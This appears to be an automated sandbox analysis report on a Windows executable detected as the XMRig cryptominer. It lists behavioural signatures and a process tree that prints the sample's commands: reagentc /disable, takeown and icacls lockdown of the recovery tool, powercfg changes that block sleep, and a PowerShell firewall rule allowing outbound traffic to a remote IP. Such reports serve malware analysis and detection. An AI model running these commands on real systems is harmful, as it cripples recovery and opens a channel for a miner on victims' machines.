Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/06/2026, 01:34

General

  • Target
    2026-06-04_5c12bb49e72219f09b16b8e9e86c9b42_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
  • Size 309KB
  • Sample260604-bzag1sgv4x
  • SHA256 72f7d41848a367d0b0693ea86c0b2c80a85adbd14ae06f69b28bc44e3586de4a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Custom signature
    Detects executables referencing many IR and analysis tools 2 IoCs
  • XMRig Miner payload 2 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Possible privilege escalation attempt 3 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Power Settings 1 TTPs 14 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 20 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-04_5c12bb49e72219f09b16b8e9e86c9b42_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-04_5c12bb49e72219f09b16b8e9e86c9b42_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2576
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:4080
      • C:\Windows\system32\PING.EXE
        ping -n 1 -w 1000 8.8.8.8
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:1828
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C reagentc /disable
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1632
      • C:\Windows\system32\ReAgentc.exe
        reagentc /disable
        3⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        PID:4644
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1888
      • C:\Windows\system32\takeown.exe
        takeown /F "C:\Windows\System32\reagentc.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:3536
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3220
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3540
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4156
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1928
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C powercfg /change monitor-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of WriteProcessMemory
      PID:3860
      • C:\Windows\system32\powercfg.exe
        powercfg /change monitor-timeout-ac 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4764
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C powercfg /change monitor-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of WriteProcessMemory
      PID:1280
      • C:\Windows\system32\powercfg.exe
        powercfg /change monitor-timeout-dc 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3288
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C powercfg /change standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of WriteProcessMemory
      PID:4560
      • C:\Windows\system32\powercfg.exe
        powercfg /change standby-timeout-ac 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:5056
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C powercfg /change standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of WriteProcessMemory
      PID:3868
      • C:\Windows\system32\powercfg.exe
        powercfg /change standby-timeout-dc 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4536
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C powercfg /change hibernate-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of WriteProcessMemory
      PID:3924
      • C:\Windows\system32\powercfg.exe
        powercfg /change hibernate-timeout-ac 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4016
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C powercfg /change hibernate-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of WriteProcessMemory
      PID:3976
      • C:\Windows\system32\powercfg.exe
        powercfg /change hibernate-timeout-dc 0
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:352
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C powercfg /hibernate off
      2⤵
      • Power Settings
      • Suspicious use of WriteProcessMemory
      PID:4500
      • C:\Windows\system32\powercfg.exe
        powercfg /hibernate off
        3⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:1012
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2916
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "New-NetFirewallRule -DisplayName 'Windows Device Host' -Description 'Windows Device Host' -Group 'Windows Device Management' -Direction Outbound -Action Allow -Protocol TCP -RemoteAddress 101.99.92.154 -RemotePort 7070" >nul 2>&1
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1780
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe
        3⤵
        • Badlisted process makes network request
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2544

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_b55wzl4s.1vf.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b55wzl4s.1vf.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1780-31-0x0000022DD4360000-0x0000022DD436E000-memory.dmp

        memory/1780-27-0x0000022DD4330000-0x0000022DD434C000-memory.dmp

        memory/1780-28-0x0000022DD43F0000-0x0000022DD44A3000-memory.dmp

        memory/1780-29-0x0000022DD4350000-0x0000022DD435A000-memory.dmp

        memory/1780-30-0x0000022DD4380000-0x0000022DD439C000-memory.dmp

        memory/1780-20-0x0000022DD40A0000-0x0000022DD40C2000-memory.dmp

        memory/1780-32-0x0000022DD43C0000-0x0000022DD43DA000-memory.dmp

        memory/2544-57-0x0000023EF5350000-0x0000023EF5370000-memory.dmp

        memory/2544-60-0x00007FF6E3390000-0x00007FF6E3C5D000-memory.dmp

        memory/2544-62-0x00007FF6E3390000-0x00007FF6E3C5D000-memory.dmp

        memory/2916-47-0x00007FF66CF90000-0x00007FF66CFE6000-memory.dmp

        memory/2916-58-0x00007FF66CF90000-0x00007FF66CFE6000-memory.dmp